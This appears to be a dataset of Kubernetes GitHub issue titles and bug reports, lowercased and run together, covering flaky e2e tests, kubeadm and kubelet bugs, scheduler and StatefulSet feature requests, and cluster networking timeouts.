k8s.io  network partition  disruptive   slow   k8s.io  pods should return to running and ready state after network partition is healed all pods on the unreachable node should be marked as notready upon the node turn notready and all pods should be mark back to ready when the node get back to ready before pod eviction timeout {kubernetes e2e suite}

e2e flaky:  k8s.io  schedulerpredicates  serial  validates that nodeselector is respected if not matching  conformance

feature request for launching a kubemark cluster onto a pre-existing kubernetes cluster

failure cluster  9752ff...  failed 203 builds, 72 jobs, and 1 tests over 1 days

apiserver bind-address is not configuration through kubeadm masterconfiguration

cloud controller manager does not support configmap resource locks

dig will stop and return empty when dnsmasq replied \ refused\  with the dig tool builded in the e2e test

gci test failing:  kubernetes-e2e-gci-gce-serial-release-1.3    k8s.io  kubelet  serial   slow   k8s.io  regular resource usage tracking resource tracking for 35 pods per node

think about requiring special privileges for setting some tolerations

reconciler test_run_onevolumeattachanddetachmultiplenodeswithreadwritemany flake

failure cluster  145704...  failed 196 builds, 28 jobs, and 1 tests over 1 days

kubeadm init specifying a version may result in a kubelet version mismatch

it's impossible to make a resource that is both cluster-scoped and namespace-scoped

k8s.io  networking  k8s.io  granular checks: services  slow  should update nodeport: udp  slow  {kubernetes e2e suite}

failure cluster  a9007e...  failed 66 builds, 4 jobs, and 1 tests over 1 days

scheduler cleanup phase 1 : refactor factory_test.go to use a fake k8s client

race condition in preemption logic of the scheduler when setting nominatednodename

make e2e framework use generated clientset instead of unversioned client.

different access modes for mounted volume in init container and actual container.

go1.10 failing test: k8s.io/apiserver/pkg/authentication/request/x509

failing test  should restart all nodes and ensure all nodes and pods recover

azure resource manager limits hit when creating lb services with 1.10.3

kubeadm can not apply user specified listen-client-urls for local etcd

image gc fails: unable to remove filesystem - device or resource busy

delete a pvc for a statelfulset without deleting the pv causes a loop on volumedelete

ha masters sometimes assign the same nodeport to multiple services

after ‘kubeadm init’ successfully a little while, images be cleaned up and the service stop

kubectl apply --force does not recreate resources for immutable fields

according to  9267, the kubelet should register a node with the  --hostname-override   cluster from scratch . this does not work if set to an actual hostname  even one that resolves correctly . working with the ip:      sh $ /opt/bin/kubelet --hostname-override=172.16.25.131 --address=172.16.25.131 ... $ kubectl describe node minion-2 name:           minion-2 ... addresses:  172.16.25.131      and when the override is set to a hostname  which resolves to the 172 ip :      $ /opt/bin/kubelet --hostname-override=my-server.com --address=172.16.25.131 ... $ kubectl describe node minion-2 name:           minion-2 ... addresses:  2a01:4f8:110:4085::2

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : 1.4.7 -> 1.5.2\r \r \r   environment  :\r -   cloud provider or hardware configuration  : google\r -   os    e.g. from /etc/os-release : container engine\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :  after executing an upgrade from 1.4.7 to 1.5.2, all our nodes in the 'default-node' pool lost their static assigned ips and reverted to ephemeral.  \r \r \r   what you expected to happen  : for the nodes to retain their reserved ip when the upgrade is complete\r \r \r   how to reproduce it    as minimally and precisely as possible : assign a reserved ip to a node in a node-pool, then execute an upgrade, and watch them revert to ephemeral\r \r \r   anything else do we need to know  :\r \r

or at least different for steaming and non-streaming calls. this is required to introduce meaningful timeout in kubelet that wouldn't cause frequent watch relists.  48640\r \r @kubernetes/sig-api-machinery-feature-requests @kubernetes/sig-scalability-misc @derekwaynecarr

kubectl get nodes  used to show masters, but as of e25a5b1546392221c79e4d48dff4643c2341a002 it no longer does.\r \r this is not in accordance with our deprecation policy i believe.\r \r cc @luxas

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r  kubectl  1.8.0 fails to validate a simple namespace yml:\r \r    yml\r apiversion: v1\r kind: namespace\r metadata:\r   name: foo\r    \r \r same problem if i use json  which is how i first noticed, it trying to restore from a  get ns -ojson --export   \r \r   what you expected to happen  :\r  kubectl  to validate and pass it on to the cluster\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create  foo.yml  with the content above\r 2.  kubectl apply -f foo.yml   or  create  if you prefer  with  kubectl  1.8.0 - it fails validation\r 3.  kubectl apply -f foo.yml  with  kubectl  1.7.5 - it works\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.0\ , gitcommit:\ 6e937839ac04a38cac63e6a7a306c5d035fe7b0a\ , gittreestate:\ clean\ , builddate:\ 2017-09-28t22:57:57z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r for the working 1.7.5:\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.5\ , gitcommit:\ 17d7182a7ccbb167074be7a87f0a68bd00d58d97\ , gittreestate:\ clean\ , builddate:\ 2017-08-31t09:14:02z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r \r running on minikube to replicate\r \r - os  e.g. from /etc/os-release :\r \r from minikube:\r \r    \r $ cat /etc/os-release\r name=buildroot\r version=2017.02\r id=buildroot\r version_id=2017.02\r pretty_name=\ buildroot 2017.02\ \r    \r \r - kernel  e.g.  uname -a  :\r \r    \r $ uname -a\r linux minikube 4.9.13  1 smp tue jul 18 22:17:02 utc 2017 x86_64 gnu/linux\r    \r \r - install tools:\r \r minikube\r \r - others:\r \r summary:\r \r    \r /tmp   cat foo.yml\r apiversion: v1\r kind: namespace\r metadata:\r   name: foo\r /tmp   kubectl175 apply -f foo.yml\r namespace \ foo\  configured\r /tmp   kubectl180 apply -f foo.yml\r error: error validating \ foo.yml\ : error validating data: unknown object type schema.groupversionkind{group:\ \ , version:\ v1\ , kind:\ namespace\ }; if you choose to ignore these errors, turn validation off with --validate=false\r    \r \r

upgrade kubernetes to use etcd server 3.2.14\r \r the  etcd 3.2.14  https://github.com/coreos/etcd/releases/tag/v3.2.14  server includes critical  bbolt freelist corruption and fragmentation fixes  https://github.com/coreos/etcd/pull/8813  that are essential for ha clusters.\r \r for kubernetes 1.10, we should make etcd 3.2.14 the default etcd version. this will require a upgrade similar to the  etcd 3.1.10 upgrade for kubernetes 1.9  https://github.com/kubernetes/kubernetes/pull/49393 .\r \r we plan to target the kubernetes 1.10 release, and backport to 1.9  and possibly 1.8  if/when the fix proves stable.\r \r  for the corresponding etcd client 3.2.14 upgrade see  56114

is this a bug report or feature request?  :\r  \r   description of problem:  \r now --horizontal-pod-autoscaler-use-rest-clients is default true, i have deploy metrics-server and no heapster, but in hpa envet it still said \ no metrics returned from heapster\ .\r actually hpa already get metrics from metrics-server\r \r   version-release number of selected component  if applicable :  \r v1.10.0-alpha.0.697+2c9ffc0e887a86-dirty\r \r   steps to reproduce:  \r    \r   kubectl get --raw /apis/metrics.k8s.io/v1beta1/namespaces/default/pods | python -m json.tool\r {\r     \ apiversion\ : \ metrics.k8s.io/v1beta1\ ,\r     \ items\ :  \r         {\r             \ containers\ :  \r                 {\r                     \ name\ : \ hello-openshift\ ,\r                     \ usage\ : {\r                         \ cpu\ : \ 0\ ,\r                         \ memory\ : \ 748ki\ \r                     }\r                 }\r              ,\r             \ metadata\ : {\r                 \ creationtimestamp\ : \ 2017-12-04t08:42:08z\ ,\r                 \ name\ : \ hello-openshift-8k7bl\ ,\r                 \ namespace\ : \ default\ ,\r                 \ selflink\ : \ /apis/metrics.k8s.io/v1beta1/namespaces/default/pods/hello-openshift-8k7bl\ \r             },\r             \ timestamp\ : \ 2017-12-04t08:42:00z\ ,\r             \ window\ : \ 1m0s\ \r         },\r         {\r             \ containers\ :  \r                 {\r                     \ name\ : \ hello-openshift\ ,\r                     \ usage\ : {\r                         \ cpu\ : \ 0\ ,\r                         \ memory\ : \ 736ki\ \r                     }\r                 }\r              ,\r             \ metadata\ : {\r                 \ creationtimestamp\ : \ 2017-12-04t08:42:08z\ ,\r                 \ name\ : \ hello-openshift-q2q5n\ ,\r                 \ namespace\ : \ default\ ,\r                 \ selflink\ : \ /apis/metrics.k8s.io/v1beta1/namespaces/default/pods/hello-openshift-q2q5n\ \r             },\r             \ timestamp\ : \ 2017-12-04t08:42:00z\ ,\r             \ window\ : \ 1m0s\ \r         }\r      ,\r     \ kind\ : \ podmetricslist\ ,\r     \ metadata\ : {\r         \ selflink\ : \ /apis/metrics.k8s.io/v1beta1/namespaces/default/pods\ \r     }\r }\r   kubectl get hpa\r name           reference                               targets    minpods   maxpods   replicas   age\r resource-hpa   replicationcontroller/hello-openshift   0% / 80%   2         10        2          12m\r   kubectl describe hpa/resource-hpa\r name:                                                  resource-hpa\r namespace:                                             default\r labels:                                                <none>\r annotations:                                           <none>\r creationtimestamp:                                     mon, 04 dec 2017 03:30:11 -0500\r reference:                                             replicationcontroller/hello-openshift\r metrics:                                                 current / target  \r   resource cpu on pods   as a percentage of request :  0%  0  / 80%\r min replicas:                                          2\r max replicas:                                          10\r replicationcontroller pods:                            2 current / 2 desired\r conditions:\r   type            status  reason            message\r   ----            ------  ------            -------\r   abletoscale     true    readyfornewscale  the last scale time was sufficiently old as to warrant a new scale\r   scalingactive   true    validmetricfound  the hpa was able to succesfully calculate a replica count from cpu resource utilization  percentage of request \r   scalinglimited  true    toofewreplicas    the desired replica count is increasing faster than the maximum scale rate\r events:\r   type     reason                        age                from                       message\r   ----     ------                        ----               ----                       -------\r   normal   successfulrescale             12m                horizontal-pod-autoscaler  new size: 2; reason: current number of replicas below spec.minreplicas\r   warning  failedgetresourcemetric       11m  x4 over 11m   horizontal-pod-autoscaler  unable to get metrics for resource cpu: no metrics returned from heapster\r   warning  failedcomputemetricsreplicas  11m  x4 over 11m   horizontal-pod-autoscaler  failed to get cpu utilization: unable to get metrics for resource cpu: no metrics returned from heapster\r    \r \r   expected results:  \r in event shouldn't have heapster realted info

the manifests currently use replicationcontroller but should be ported over to use a deployment with replicaset.\r

http://k8s-testgrid.appspot.com/sig-release-master-blocking gci-gce-reboot\r \r /  /status approved-for-milestone\r  \r the job is on the master-blocking dashboard and the e2e test has been failing, please take a look\r \r cc @jdumars @jberkus @luxas @roberthbailey @kubernetes/sig-cluster-lifecycle-bugs  \r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r i got a 3 nodes k8s cluster. created a zipkin pod on node-2. trying to  wget  zipkin server from another pod which is on node-3. \r if the resource i request is small,  wget  can get the resonpse. if the resource i request is large,  wget  will be stalled and timeout.\r \r   what you expected to happen  :\r \r  wget  will got response whatever it requested.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  kubectl create -f https://raw.githubusercontent.com/rnburn/zipkin-date-server/master/kubernetes/zipkin.yaml \r 2. create a busybox pod to test cluster internal connectivity:  kubectl run -it --rm --restart=never busybox --image=busybox sh , and busybox pod is at node-3\r 3. in busybox pod, exec  wget -qo - <zipkin-pod-ip>:9411/zipkin/ , i can got response.\r 4. in busybox pod, exec  wget -qo - <zipkin-pod-ip>:9411/zipkin/app-cc242ba80499ac12b97c.min.css , wget be stalled and then timeout.\r \r i observe that the size of first resource wget requested is small  <1k , the second is a little larger  ~20k \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.5\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : 16.04.4 lts  xenial xerus \r - kernel  e.g.  uname -a  : linux node1 4.4.0-128-generic  154-ubuntu smp fri may 25 14:15:18 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubespray\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r   >  \r \r   what happened  :\r 1. set  kubelet_extra_args=--cloud-provider=external  in /etc/default/kubelet file.\r 2. restart kubelet. and run : \r      \r  kubeadm init --kubernetes-version=v1.11.0 --pod-network-cidr=192.168.0.0/16\r  kubectl apply   -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/rbac-kdd.yaml   --kubeconfig /etc/kubernetes/admin.conf\r   kubectl apply   -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/kubernetes-datastore/calico-networking/1.7/calico.yaml   --kubeconfig /etc/kubernetes/admin.conf\r \r kubectl apply -f https://raw.githubusercontent.com/digitalocean/digitalocean-cloud-controller-manager/master/releases/v0.1.6.yml\r    \r 3. \r    \r kubectl get pods --all-namespaces -o wide\r namespace     name                                                     ready     status             restarts   age       ip        node\r kube-system   calico-node-qb5l6                                        1/2       running            9          17m       <none>    kubeadm\r kube-system   coredns-78fcdf6894-nx7dc                                 0/1       pending            0          17m       <none>    <none>\r kube-system   coredns-78fcdf6894-v97zc                                 0/1       pending            0          17m       <none>    <none>\r kube-system   digitalocean-cloud-controller-manager-56bd986844-m4p8k   0/1       crashloopbackoff   6          17m       <none>    kubeadm\r kube-system   etcd-kubeadm                                             1/1       running            0          17m       <none>    kubeadm\r kube-system   kube-apiserver-kubeadm                                   1/1       running            0          16m       <none>    kubeadm\r kube-system   kube-controller-manager-kubeadm                          1/1       running            0          16m       <none>    kubeadm\r kube-system   kube-scheduler-kubeadm                                   1/1       running            0          17m       <none>    kubeadm\r    \r 4. \r    \r kubectl logs -f digitalocean-cloud-controller-manager-56bd986844-m4p8k -n kube-system\r w0717 06:56:42.693656       1 client_config.go:533  neither --kubeconfig nor --master was specified.  using the inclusterconfig.  this might not work.\r w0717 06:56:42.725478       1 controllermanager.go:105  detected a cluster without a clusterid.  a clusterid will be required in the future.  please tag your cluster to avoid any future issues\r w0717 06:56:42.726540       1 authentication.go:55  authentication is disabled\r i0717 06:56:42.726576       1 insecure_serving.go:44  serving insecurely on  :: :10253\r i0717 06:56:42.728919       1 node_controller.go:86  sending events to api server.\r i0717 06:56:42.731861       1 controllermanager.go:258  will not configure cloud provider routes for allocate-node-cidrs: false, configure-cloud-routes: true.\r i0717 06:56:42.732288       1 pvlcontroller.go:107  starting persistentvolumelabelcontroller\r i0717 06:56:42.732309       1 controller_utils.go:1019  waiting for caches to sync for persistent volume label controller\r i0717 06:56:42.732361       1 service_controller.go:183  starting service controller\r i0717 06:56:42.732373       1 controller_utils.go:1019  waiting for caches to sync for service controller\r e0717 06:57:12.729844       1 node_controller.go:137  error monitoring node status: get https://10.96.0.1:443/api/v1/nodes?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0717 06:57:12.733093       1 reflector.go:205  github.com/digitalocean/digitalocean-cloud-controller-manager/vendor/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:110: failed to list  v1.persistentvolume: get https://10.96.0.1:443/api/v1/persistentvolumes?includeuninitialized=true&limit=500&resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0717 06:57:12.733629       1 node_controller.go:216  error monitoring node status: get https://10.96.0.1:443/api/v1/nodes?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0717 06:57:43.734712       1 reflector.go:205  github.com/digitalocean/digitalocean-cloud-controller-manager/vendor/k8s.io/kubernetes/pkg/controller/cloud/pvlcontroller.go:110: failed to list  v1.persistentvolume: get https://10.96.0.1:443/api/v1/persistentvolumes?includeuninitialized=true&limit=500&resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r e0717 06:57:47.734480       1 node_controller.go:216  error monitoring node status: get https://10.96.0.1:443/api/v1/nodes?resourceversion=0: dial tcp 10.96.0.1:443: i/o timeout\r \r \r    \r   what you expected to happen  :\r runing cloud controller manager. and remove the taint  node.cloudprovider.kubernetes.io/uninitialized  from node.\r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r  !/bin/bash\r \r exec_until_success   {\r \t$1\r \twhile   $? -ne 0  ; do\r \t\tsleep 2\r \t\t$1\r \tdone\r }\r \r \r apt-get update -y\r apt-get install -y apt-transport-https curl ca-certificates software-properties-common tzdata\r curl -fssl --retry 5 https://packages.cloud.google.com/apt/doc/apt-key.gpg | apt-key add -\r echo 'deb http://apt.kubernetes.io/ kubernetes-xenial main' > /etc/apt/sources.list.d/kubernetes.list\r exec_until_success 'add-apt-repository -y ppa:gluster/glusterfs-3.10'\r apt-get update -y\r exec_until_success 'apt-get install -y cron docker.io ebtables git glusterfs-client haveged jq nfs-common socat kubelet=1.11.0  kubectl=1.11.0  kubeadm=1.11.0  kubernetes-cni=0.6.0  ntp'\r \r cat > /etc/default/kubelet <<eof\r kubelet_extra_args=--cloud-provider=external\r eof\r systemctl daemon-reload\r systemctl restart kubelet\r \r kubeadm init --kubernetes-version=v1.11.0 --pod-network-cidr=192.168.0.0/16\r mkdir -p $home/.kube\r sudo cp -i /etc/kubernetes/admin.conf $home/.kube/config\r kubectl apply   -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/rbac-kdd.yaml   --kubeconfig /etc/kubernetes/admin.conf\r \r kubectl apply   -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/kubernetes-datastore/calico-networking/1.7/calico.yaml   --kubeconfig /etc/kubernetes/admin.conf\r \r kubectl apply -f https://raw.githubusercontent.com/digitalocean/digitalocean-cloud-controller-manager/master/releases/v0.1.6.yml\r    \r   anything else we need to know?  :\r calico pod logs for calico-node is :\r    \r  kubectl logs -f calico-node-qb5l6 -n kube-system calico-node\r 2018-07-17 07:01:07.697  info  8  startup.go 251: early log level set to info\r 2018-07-17 07:01:07.697  info  8  startup.go 267: using nodename environment for node name\r 2018-07-17 07:01:07.697  info  8  startup.go 279: determined node name: kubeadm\r 2018-07-17 07:01:07.701  info  8  startup.go 302: checking datastore connection\r 2018-07-17 07:01:37.703  info  8  startup.go 317: hit error connecting to datastore - retry error=get https://10.96.0.1:443/api/v1/nodes/foo: dial tcp 10.96.0.1:443: i/o timeout\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.11\r - cloud provider or hardware configuration:\r digitalocean, \r - os  e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r  linux kubeadm 4.4.0-127-generic  153-ubuntu smp sat may 19 10:58:46 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r - others:\r

need to push the latest coredns image to gcr.io\r the 1.2.2 image is available in docker  coredns/coredns:1.2.2 \r \r /cc @bentheelder \r /cc @timothysc \r /cc @thockin \r \r @fturib @chrisohaver \r \r  

failure cluster  719e67ed67ffe8253cc4  https://go.k8s.io/triage {id} \r \r tracked in: https://github.com/kubernetes/kubernetes/issues/71434 issuecomment-441875062\r \r       error text:\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/subpath.go:107\r while waiting for hostpath init pod to succeed\r expected error:\r     < errors.errorstring | 0xc001b05a50>: {\r         s: \ gave up after waiting 5m0s for pod \\\ hostpath-symlink-prep-e2e-tests-volumes-jgsz9\\\  to be \\\ success or failure\\\ \ ,\r     }\r     gave up after waiting 5m0s for pod \ hostpath-symlink-prep-e2e-tests-volumes-jgsz9\  to be \ success or failure\ \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/drivers/in_tree.go:851\r    \r      recent failures:\r  11/26/2018, 11:08:11 am ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new-parallel  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-new-master-upgrade-cluster-new-parallel/401 sig-storage-in-tree-volumes-driver-hostpathsymlink-testpattern-inline-volume-default-fs-subpath-should-fail-if-subpath-with-backstepping-is-outside-the-volume-slow \r  11/21/2018, 9:30:16 pm ci-kubernetes-e2e-gci-gce-kube-dns  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-kube-dns/573 sig-storage-in-tree-volumes-driver-hostpathsymlink-testpattern-inline-volume-default-fs-subpath-should-fail-if-subpath-with-backstepping-is-outside-the-volume-slow \r  11/18/2018, 5:21:59 am ci-kubernetes-e2e-gci-gce-ipvs  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-ipvs/6000 sig-storage-in-tree-volumes-driver-hostpathsymlink-testpattern-inline-volume-default-fs-subpath-should-fail-if-subpath-with-backstepping-is-outside-the-volume-slow \r  11/18/2018, 1:37:05 am ci-kubernetes-e2e-gci-gce-coredns  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-coredns/5641 sig-storage-in-tree-volumes-driver-hostpathsymlink-testpattern-inline-volume-default-fs-subpath-should-fail-if-subpath-with-backstepping-is-outside-the-volume-slow \r  11/14/2018, 2:20:17 pm ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new-parallel  https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-new-gci-master-upgrade-cluster-new-parallel/335 sig-storage-in-tree-volumes-driver-hostpathsymlink-testpattern-inline-volume-default-fs-subpath-should-fail-if-subpath-with-backstepping-is-outside-the-volume-slow \r \r  /label sig/storage

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r pod be scheduled in untainted master with lower priority.\r \r   why is this needed  :\r i have a cluster with 3 masters and 3 nodes, the masters are untained and pods can be scheduled in them.\r \r but i want the pod runs in nodes preferentially if their resources are enough only. because the masters are very significant but resource in cluster is limited, so that they are untained.\r \r is there a  algorithmprovider  achieve it?\r \r <!-- do not edit below this line -->

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r now the phased roll outs of the statefulset can only be updated one-way based on a pod number, ie partition. for example, partition is equal to 2, and pods greater than or equal to 2 can be updated, but pods whose partition is less than a certain value cannot be specified for update, and a pod update cannot be specified.\r \r   why is this needed  :\r \r example:\r i use statefulset to create a redis master-slave cluster with 5 instances. set the pod with sequence number 2 as the master instance. if i want to perform operations to add memory to the instance, i need to expand the memory from the slave instance first, then switch the master instance. finally, expand the memory of the original master instance.\r the operation is as follows, i need to first expand the memory of the pod with the sequence number 0, 1, 3, 4, perform the operation of switching the master instance, and finally expand the memory of the pod with the sequence number 2. but now the statefulset's partition parameter can only expand the memory of 3, 4, and finally expand the memory of 0, 1, 2, but can not expand the memory of the pod less than 2, and finally expand the memory of 2.\r \r    \r pod-0    slave\r pod-1    slave\r pod-2    master    last updated, need to have a pause control before updating\r pod-3    slave\r pod-4    slave\r    \r \r <!-- do not edit below this line -->\r 

we provide an option to violate the semantics of our api, and on top of that, it is the default if you don't pass a resourceversion. this has the ability to do very bad things.  if we want to encourage people to start writing their own controllers on top of kubernetes, we shouldn't make it so easy for them to shoot themselves in the face. is there a reason this option exists?

currently, when you have scheduledjob/cronjob that runs a job \ more often\  every job run leave a job resource around which is not pruned. also every job leave a pod around without any pruning.  what i propose is to have a \ limit\  setting for jobs and scheduledjobs that will limit the number of successful jobs. if we exceed this limit, the old jobs are automatically pruned.  we also need a policy that says the job will not leave the pod around and the pod will be deleted automatically.

kubernetes version    use  kubectl version  :  v1.5.0-alpha.1.857+c81816751387a2-dirty    how to reproduce it    as minimally and precisely as possible :      1. start kube-apiserver with invalid value for podnodeselector admission controller --admission-control=podnodeselector, --admission-control-config-file=admission-control-config-file.cfg    cat ../admission-control-config-file.cfg podnodeselectorpluginconfig:  clusterdefaultnodeselector: region =xyz%  ns3: os=@ ^& ,region=west^&   2. create a pod in this env  root@ip-172-18-6-200 podnodeselector   kc create -f https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/pod/hello-pod.yaml error from server: error when creating \ https://raw.githubusercontent.com/mdshuai/testfile-openshift/master/k8s/pod/hello-pod.yaml\ : invalid label key \ region \ : name part must match the regex   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9   e.g. 'myname' or 'my.name' or '123-abc'          expected results   1. should start failed podnodeselector with invalid podnodeselectorpluginconfig value.    anything else do we need to know  :

there is an integration test framework for the  kube-apiextensions-server  which provides an easy-ish way to run the server standalone for testing scenarios.  see the example here: https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kube-apiextensions-server/test/integration/basic_test.go\r \r this is a running list of tests that we need to have for good coverage.\r  -  x  does the server come up\r  -  x  does basic crud work  e.g. kubectl create, get, delete, label, annotate \r  -  x  does cross namespace list and watch work. @xiao-zhou\r  -  x  proper rejects for no-namespace creates. @nikhita  \r  -  x  does de-registration and re-registration work @sdminonne \r  -  x  do multiple registrations work @sdminonne \r  -  x  does etcd storage function properly?  correct serialization and key location @sdminonne \r  -  x  does discovery for kind, shortnames, etc come through correctly\r  -  x  do colliding named resources work.  and when one is deleted does the gap close @nikhita\r  -  x  do non-namespaced resources work correct @nikhita \r  -  x   are self-links correct  https://github.com/kubernetes/kubernetes/issues/37622  @sdminonne \r  -  x  does finalization work.\r -      do initializers work https://github.com/kubernetes/kubernetes/pull/47252 @sttts\r  -     e2e test that ensures that crds work in  kube-apiserver  https://github.com/kubernetes/kubernetes/pull/46865 @sttts \r  -  x  finalizers on cr instances should work @ash2k \r \r tests to prevent regression of issues encountered previously with tpr\r  -  x  does advanced crud work  e.g. kubectl edit, patch, apply, describe, explain, replace, watch  @nikhita \r  -     does gc behave acceptably with customresources as owner or owned. @nikhita https://github.com/kubernetes/kubernetes/pull/46585, blocked on https://github.com/kubernetes/kubernetes/pull/46000\r  -  x   is integer data preserved  https://github.com/kubernetes/kubernetes/issues/30213  @nikhita\r  -      does helm work with customresources  https://github.com/kubernetes/helm/issues/1468 \r \r @enisoc add anything missing to the list and just ping me.\r @sdminonne if you have cycles to jump in, let me know.

what happened  :\r the scheduler has a concept of  extendedresources  which lets it schedule resources not in the default kubernetes resource namespace.  hugepages are very similar to extendedresources in that they cannot be overcommitted, but that resource is expected to be in the kubernetes resource namespace once it graduates out of alpha.\r \r the scheduler should be refactored so that extendedresources is the superset of resources that do not support over-commit to avoid code duplication.\r \r   anything else we need to know?  :\r see: https://github.com/kubernetes/kubernetes/pull/50859 discussion_r136400471\r

os version: debian jessie\r docker version: 1.12.6\r kube version: 1.8.2\r \r when i run  kubeadm init , the rsyslog reports:\r \r    \r unable to update cni config: no networks found in /etc/cni/net.d\r    \r \r and the progress hangs:\r \r    \r   kubeadm init --pod-network-cidr=192.168.0.0/16 --kubernetes-version=v1.8.2\r  kubeadm  warning: kubeadm is in beta, please do not use it for production clusters.\r  init  using kubernetes version: v1.8.2\r  init  using authorization modes:  node rbac \r  preflight  running pre-flight checks\r  preflight  starting the kubelet service\r  kubeadm  warning: starting in 1.8, tokens expire after 24 hours by default  if you require a non-expiring token use --token-ttl 0 \r  certificates  generated ca certificate and key.\r  certificates  generated apiserver certificate and key.\r  certificates  apiserver serving cert is signed for dns names  uy05-13 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local  and ips  10.96.0.1 122.14.206.195 \r  certificates  generated apiserver-kubelet-client certificate and key.\r  certificates  generated sa key and public key.\r  certificates  generated front-proxy-ca certificate and key.\r  certificates  generated front-proxy-client certificate and key.\r  certificates  valid certificates and keys now exist in \ /etc/kubernetes/pki\ \r  kubeconfig  wrote kubeconfig file to disk: \ admin.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ kubelet.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ controller-manager.conf\ \r  kubeconfig  wrote kubeconfig file to disk: \ scheduler.conf\ \r  controlplane  wrote static pod manifest for component kube-apiserver to \ /etc/kubernetes/manifests/kube-apiserver.yaml\ \r  controlplane  wrote static pod manifest for component kube-controller-manager to \ /etc/kubernetes/manifests/kube-controller-manager.yaml\ \r  controlplane  wrote static pod manifest for component kube-scheduler to \ /etc/kubernetes/manifests/kube-scheduler.yaml\ \r  etcd  wrote static pod 